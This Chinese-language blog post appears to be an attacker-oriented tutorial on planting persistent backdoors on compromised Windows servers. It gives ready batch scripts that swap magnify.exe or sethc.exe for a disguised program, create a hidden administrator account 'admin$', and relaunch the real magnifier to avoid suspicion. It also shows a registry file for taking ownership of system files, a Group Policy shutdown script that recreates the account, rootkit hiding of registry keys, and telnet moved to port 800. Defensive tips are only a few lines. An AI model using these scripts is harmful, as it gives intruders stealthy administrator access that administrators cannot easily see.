Windows 常见后门添加方法再探究
0X00 前言
之前写过一篇关于windows 影子账户的添加方法的文章,这其实只是一种最简单的方式,这种方式只能允许你进入Windows之后手动添加,万一被聪明的管理员发现并删除了,并且又改了登录密码就会非常之难受,于是又参考了一些文章,想再补充一下后门木马的建立方式,并对我之前的那个影子账户作进一步的升级。
0X01 后门是什么
其实后门这个词非常的形象,如果说把服务器看成是一个房间,管理员每次都是根据口令从正门进去的话,后门就是入侵者在入侵以后悄悄挖的地道(可能在床底下,可能在衣柜里,反正就是不让管理员发现),目的也很明确,就是入侵者希望绕过正门,从自己挖的地道进去。
0X02 后门的本质
记得在我的上一篇文章windows渗透中后门用户的添加方法探究 中我说过,后门的本质就是添加用户(是在未登录的情况下添加)没有用户是不可能登录进去的,所以接下来我所有的操作都是以这个为目标的。
0X03 放大镜后门
别被名字误导了,不是这个后门能实现放大镜的作用,而是我们要利用放大镜这个能在未登录的情况下使用快捷方式运行的应用程序来创建我们的用户,从而达到入侵的目的。
1.基本原理
放大镜在windows系统中的应用程序名称为 magnify.exe,在Windows系统未登录的时候使用 Win+U就能调用出来,我们会使用我们精心构造的magnify.exe的同名文件替换系统本身的放大镜程序(这个同名文件是由我们自己编写的bat脚本转化成exe实现的)。我们的这个文件的功能就是添加用户并且能在最后打开放大镜,避免引起管理员使用时的怀疑。
2.脚本编写
因为现在主流的系统都是64位的,所以我们就替换我们system32目录下的就可以了
replacement.bat
@echo off
copy %Windir%\system32\magnify.exe nagnify.exe ::备份原始放大镜程序,以备后面调用
replace.exe %Windir%\magnify.exe %Windir%\system32 ::将自己的程序伪装成放大镜程序
exit
(以上脚本只是提供一个思路,我个人测试过程中发现这个脚本的运行会受到权限的严重限制,导致没法成功实现replace功能,最好的方法就是在获取system32中的mangify.exe 的管理员权限以后直接手动复制和粘贴)
右键获取管理员权限需要通过修改注册表实现,以下就是提升权限的脚本
promote.reg
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\*\shell\runas]
@="管理员取得所有权"
"NoWorkingDirectory"=""
[HKEY_CLASSES_ROOT\*\shell\runas\command]
@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"
[HKEY_CLASSES_ROOT\exefile\shell\runas2]
@="管理员取得所有权"
"NoWorkingDirectory"=""
[HKEY_CLASSES_ROOT\exefile\shell\runas2\command]
@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"
[HKEY_CLASSES_ROOT\Directory\shell\runas]
@="管理员取得所有权"
"NoWorkingDirectory"=""
[HKEY_CLASSES_ROOT\Directory\shell\runas\command]
@="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"
magnify.bat
@echo off
net user admin$ admin_888 /add 2>nul
net localgroup administrators admin$ /add 2>nul //创建用户
start %Windir%\system32\nagnify.exe 2>nul //调用真正的放大镜以防露出破绽
exit
3.注意
1.这里的 2>nul 是将错误输出屏蔽
2.这里的转换工具推荐使用 bat to exe 这个工具,按照原来的逻辑就是使用工具将上面的bat脚本转化成exe文件,放在该放的位置,然后等我们运行放大镜就行了。
3.为了更好地隐藏我们需要提取系统原有的图标,然后在转化成 exe文件的时候爆把这个图标也选择上。(这里的提取工具推荐iconmaster)
4.由于我们的代码比较少, 加上图标也只有500多K,而原始程序有600多K,我们甚至为了隐藏更加彻底添加一些冗余代码。
5.还有一个非常重要的东西就是修改时间,改成系统原始的时间(推荐工具 NewFileTime_x64)
4.攻击流程
(1)备份magnify.exe 为 nagnify.exe 到当前目录下
(2)将我们的添加用户和调用备份的放大镜程序的bat脚本转化成magnify.exe文件(要转化成64位的否则会无法执行),然后替换原来的system32下的magnify.exe
(3)运行magnify.exe 即可完成添加用户和打开放大镜的操作
0X04 Shift后门
shift 后门和放大镜后门是一样的操作,只是文件替换变化成了setch.exe(这个更加隐蔽一些)
0X05 组策略后门
1.什么是组策略
我们知道,注册表时每个windows系统的灵魂,他统筹管理着windows系统的一切配置,没有了注册表系统就是一块废铁,你什么文件也打不开。组策略是windows专业版以上拥有的一个快速管理注册表的工具,是管理员管理系统的强大的工具(当然也是黑客留后门的强有力手段)。
2.组策略作用
组策略对本地计算机可以进行两个方面的设置:本地计算机配置和本地用户配置。所有策略的设置都将保存到注册表的相关项目中。对计算机策略的设置保存到注册表的HKEY_LOCAL_MACHINE的相关项中,对用户的策略设置将保存到HKEY_CURRENT_USER相关项中。
例如,可使用“组策略”从桌面删除图标、自定义“开始”菜单并简化“控制面板”。此外,还可添加在计算机上(在计算机启动或停止时,以及用户登录或注销时)运行的脚本,甚至可配置Internet Explorer。
3.组策略开启
运行中输入 gpedit.msc
开启后,我们能看到一个是计算机配置,另一个是用户配置,计算机配置是针对所有用户的但是用户配置是针对当前用户。
4.如何添加后门
因为组策略能够修改注册表,随系统启动而运行,还能设置开关机启动项,让程序在关机的时候运行,这样的操作更加难以被发现,即使是管理员以为自己删除了木马,一旦他关机,木马又会被激活。
设置的地点在 组策略 > 计算机配置 > windows 设置 > 脚本(启动、关机)
编写脚本a.bat用来创建隐藏账户
@echo off
net user admin$ admin_888 /add 2>nul
net localgroup administrators admin$ /add 2>nul //创建用户
5.如何防范
多多关注开关机启动项:
system32\GroupPolicy\Machine\Scripts\Startup 和system32\GroupPolicy\Machine\Scripts\Shutdown目录看看有没有可疑的脚本
0X06 rootkit 后门
1.rootkit 是什么
在悬念迭起的中外谍战片里,对战双方中的一派势力通常会派遣特工人员潜伏到对手阵营中。这名卧底人员良好的伪装使得对手对此长时间毫无察觉;为了能够长期潜伏他不贸然采取高风险行为以免过早暴露自己;他赢得敌人的信任并因此身居要职,这使得他能够源源不断地获取重要情报并利用其独特渠道传送回去。
从某种意义上说这位不速之客就是Rootkit——持久并毫无察觉地驻留在目标计算机中,对系统进行操纵、并通过隐秘渠道收集数据的程序。Rootkit的三要素就是:隐藏、操纵、收集数据。(以上来源于百度百科)
2.常见的例子
在我的前面的一篇文章 windows渗透中后门用户的添加方法探究 我其实已经介绍了两种方法,一个就是创建admin$ 这种使用命令行看不出来的用户,另一种就是使用影子账户这种只能在注册表中看到的用户,但是现在我们可以对其进行更进一步的升级。
使用rootkit工具可以实现在注册表中也能隐藏,而且这种隐藏是很难被发现的,除非使用特别的查杀工具
我们隐藏注册表键值只需其中的两个文件, hxdef100.exe和 hxdef100.ini。其中 hxdef100.ini 是配置文件,hxdef100.exe 是程 序文件。打开 hxdef100.ini 文件定位到 [HiddenRegKeys]项下,添加我们要隐藏的 注册表键值 admin$和 000003EF即用户在注册表的项然后保存退出。 然后双击运行 hxdef100.exe,可以看到 admin$用户在注册表中的键值 “消失” 了,同时这两个文件也 “不见”了。这样我们就利用 RootKit 实现了高级管理员用 户的彻底隐藏,管理员是无从知晓在系统中存在一个管理员用户的。
(经过我的实验,应该是由目前的操作系统版本更新的原因,原来的老的工具已经不再适用,如果有其他的类似工具,希望各位师傅们不吝赐教)
3.防范
rootkit 是驱动级的后门,通过肉眼查杀相对比较困难,推荐大家使用工具来实现
0X07 Telnet 后门
1.简介
telnet 是一个命令行下的远程管理工具,这个服务的默认端口是23,但是由于其传输的明文性,windows命令行的不实用性,致使大多数管理员都不采用这种方式来远程管理服务器,而是转向了更为方便直观的3389 也就是远程桌面来管理远程服务器。但是对于黑客来讲命令行什么的都是小事情,关键是这种方式要比直接用3389登录隐蔽的多。
但是管理员也不傻,正常的管理员都应该知道23端口对应的是telnet,如果哪天管理员无意间发现23端口打开了,那么很容易就会联想到自己的服务器被黑客入侵了。因此我们想要隐藏就必须要将这个默认的端口修改成一个比较随意的端口。
2.开启方式
我以 windows server 2008 r2 为例说一下telnet的开启方式
1)开始 > 管理工具 > 服务器管理 > 功能 > 添加功能勾选 telnet 服务端和客户端
2)开始 > 管理工具 > 服务器管理 > 配置 > 高级安全windows防火墙 > 入站规则 允许telnet 访问
3)开始 > 管理工具 > 服务器管理 > 配置 > 服务 开启telnet
完成这三部就基本大功告成了
检测方法:命令行输入 netstat -ano 看一下是不是23端口正在监听
如下图:
3.修改端口
直接在服务器上修改
tlntadmn config port=800
再检查一下端口,如下图可以看到已经变成了800
注意:
到现在为止你依然无法通过800端口实现telnet 的连接,因为windows 2008 server r2 是有防火墙的,我们必须要新建一个入站策略才能实现登陆
Windows 防火墙 > 入站规则 > 新建规则 > 自定义 > 所有程序 > TCP、特定端口、800 > 其它默认
接着我们就能通过 800 端口连接服务器的telnet 了
0X08 嗅探后门
这种后门并不会创建账号,而是在服务器上安装一个嗅探程序,不定期的向远程的黑客发送服务器的信息,包括管理员的账号密码等敏感信息,由于不添加用户,隐蔽性强,不容易被发现。
这种后门想要检测,只能通过专业的检测工具或者审查安全日志来查看有没有可疑的登录记录
0X09 总结
我参考的文章由于年代比较老旧,经过我的测试只有部分的功能能够成功实现,还有很多由于工具与系统的不兼容已经失效,但是还是能给我们系统一些好的思路和技巧,工具还可以再开发的嘛。